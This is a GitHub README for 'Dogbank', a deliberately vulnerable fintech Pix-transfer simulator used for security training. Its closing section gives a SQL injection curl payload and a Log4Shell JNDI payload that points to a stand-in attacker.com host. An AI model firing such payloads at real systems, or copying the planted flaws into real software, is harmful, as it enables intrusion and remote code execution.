Skip to content

A modern React frontend for Dogbank fintech application with landing page, authentication, dashboard, and Pix transfer functionality. · Built with Manus

Notifications You must be signed in to change notification settings

schawirin/dogbank-frontend-react

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Dogbank - Fintech Pix Simulator

A full-stack fintech application simulating Pix transfers, built with React 19 frontend and Java 21 Spring Boot microservices backend.

🏗️ Architecture

┌─────────────────────────────────────────────────────────────────┐
│                        Frontend (React)                         │
│                         Port: 3000                              │
└─────────────────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────┐
│                    API Gateway (Nginx)                          │
│                         Port: 8080                              │
└─────────────────────────────────────────────────────────────────┘
        │           │           │           │           │
        ▼           ▼           ▼           ▼           ▼
┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐
│   Auth    │ │  Account  │ │Transaction│ │    Pix    │ │   Banco   │
│  Service  │ │  Service  │ │  Service  │ │  Service  │ │  Central  │
│   :8081   │ │   :8082   │ │   :8083   │ │   :8084   │ │   :8085   │
└───────────┘ └───────────┘ └───────────┘ └───────────┘ └───────────┘
        │           │           │
        └───────────┴───────────┘
                    │
                    ▼
        ┌───────────────────────┐
        │     PostgreSQL        │
        │       :5432           │
        └───────────────────────┘

🚀 Quick Start

Using Docker Compose

# Clone the repository
git clone https://github.com/schawirin/dogbank-frontend-react.git
cd dogbank-frontend-react

# Start all services
docker-compose up -d

# Wait ~3-4 minutes for all services to build and start
# Access: http://localhost:3000

Test Credentials

Name CPF Password Pix Key
Yuki Itadori 12345678915 123456 yuki.pix@email.com
Pedro Silva 98765432101 123456 pedro.pix@email.com
João Santos 45678912302 123456 joao.pix@email.com
Usuário Teste 66666666666 123456 teste.pix@email.com

📦 Microservices

Auth Service (Port 8081)

  • User authentication and registration
  • Password validation
  • User lookup by CPF, email, or Pix key

Account Service (Port 8082)

  • Account management
  • Balance queries and updates
  • Account lookup by user ID

Transaction Service (Port 8083)

  • Transaction history
  • Transaction receipts
  • Transaction creation

Pix Service (Port 8084)

  • Orchestrator for Pix transfers
  • Coordinates between all services
  • Validates with Banco Central

Banco Central Service (Port 8085)

  • Simulates Brazilian Central Bank API
  • Validates Pix transfers
  • Test scenarios:
    • R$ 100.00 → Timeout error
    • R$ 1,000.00 → Limit exceeded
    • R$ 5,000.00 → Insufficient balance (BC)
    • R$ 666.66 → Internal error

🛠️ Development

Frontend Only

cd client
pnpm install
pnpm dev

Individual Microservice

cd services/auth-service
mvn spring-boot:run

Rebuild Specific Service

docker-compose up -d --build auth-service

📁 Project Structure

dogbank-frontend-react/
├── client/                    # React frontend
│   ├── src/
│   │   ├── pages/            # Page components
│   │   ├── components/       # Reusable components
│   │   ├── contexts/         # React contexts
│   │   └── lib/              # Utilities and API
│   └── public/               # Static assets
├── services/                  # Java microservices
│   ├── auth-service/         # Authentication
│   ├── account-service/      # Account management
│   ├── transaction-service/  # Transaction history
│   ├── pix-service/          # Pix orchestration
│   └── bancocentral-service/ # BC simulation
├── k8s/                       # Kubernetes manifests
│   ├── base/                 # Namespace, ConfigMaps, Secrets
│   ├── postgres/             # PostgreSQL deployment
│   ├── backend/              # Backend deployment
│   ├── frontend/             # Frontend deployment
│   └── deploy.sh             # Minikube deploy script
├── docker-compose.yml         # Docker orchestration
├── nginx.conf                 # API Gateway config
└── Dockerfile                 # Frontend Dockerfile

🔧 Environment Variables

Frontend

  • VITE_API_BASE_URL - Backend API URL (default: http://localhost:8080)

Backend Services

  • DB_HOST - PostgreSQL host
  • DB_PORT - PostgreSQL port
  • DB_NAME - Database name
  • DB_USER - Database user
  • DB_PASSWORD - Database password

Pix Service

  • AUTH_SERVICE_URL - Auth service URL
  • ACCOUNT_SERVICE_URL - Account service URL
  • TRANSACTION_SERVICE_URL - Transaction service URL
  • BANCOCENTRAL_SERVICE_URL - Banco Central service URL

🐳 Docker Commands

# Start all services
docker-compose up -d

# View logs
docker-compose logs -f

# View specific service logs
docker-compose logs -f pix-service

# Stop all services
docker-compose down

# Rebuild and restart
docker-compose up -d --build

# Remove volumes (reset database)
docker-compose down -v

☸️ Kubernetes (Minikube)

# Start Minikube
minikube start --memory=4096 --cpus=2

# Deploy all services
cd k8s
./deploy.sh all

# Access application
minikube service dogbank-frontend -n dogbank

📝 API Endpoints

Auth Service

  • POST /api/auth/login - User login
  • POST /api/auth/register - User registration
  • POST /api/auth/validate-password - Validate password
  • GET /api/users/{id} - Get user by ID
  • GET /api/users/cpf/{cpf} - Get user by CPF
  • GET /api/users/pix/{pixKey} - Get user by Pix key

Account Service

  • GET /api/accounts/{id} - Get account by ID
  • GET /api/accounts/user/{userId} - Get account by user ID
  • PUT /api/accounts/saldo - Update balance

Transaction Service

  • GET /api/transactions/{id} - Get transaction by ID
  • GET /api/transactions/account/{accountId} - Get transactions by account
  • POST /api/transactions - Create transaction

Pix Service

  • POST /api/transactions/pix - Execute Pix transfer

Banco Central Service

  • POST /api/bancocentral/validate-pix - Validate Pix transfer

🚨 Security Vulnerabilities (For Testing)

⚠️ WARNING: This project contains INTENTIONAL security vulnerabilities for training and testing purposes. DO NOT USE IN PRODUCTION!

See SECURITY.md for detailed documentation.

SQL Injection

  • Service: auth-service (Port 8081)
  • Endpoint: GET /api/auth/vulnerable/search?pixKey=<payload>
  • Example: curl "http://localhost:8081/api/auth/vulnerable/search?pixKey=' OR '1'='1"

Log4Shell (CVE-2021-44228)

  • Service: pix-service (Port 8084)
  • Endpoint: GET /api/transactions/vulnerable/log?message=<payload>
  • Example: curl "http://localhost:8084/api/transactions/vulnerable/log?message=\${jndi:ldap://attacker.com/x}"

📄 License

MIT License

About

A modern React frontend for Dogbank fintech application with landing page, authentication, dashboard, and Pix transfer functionality. · Built with Manus

Resources

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published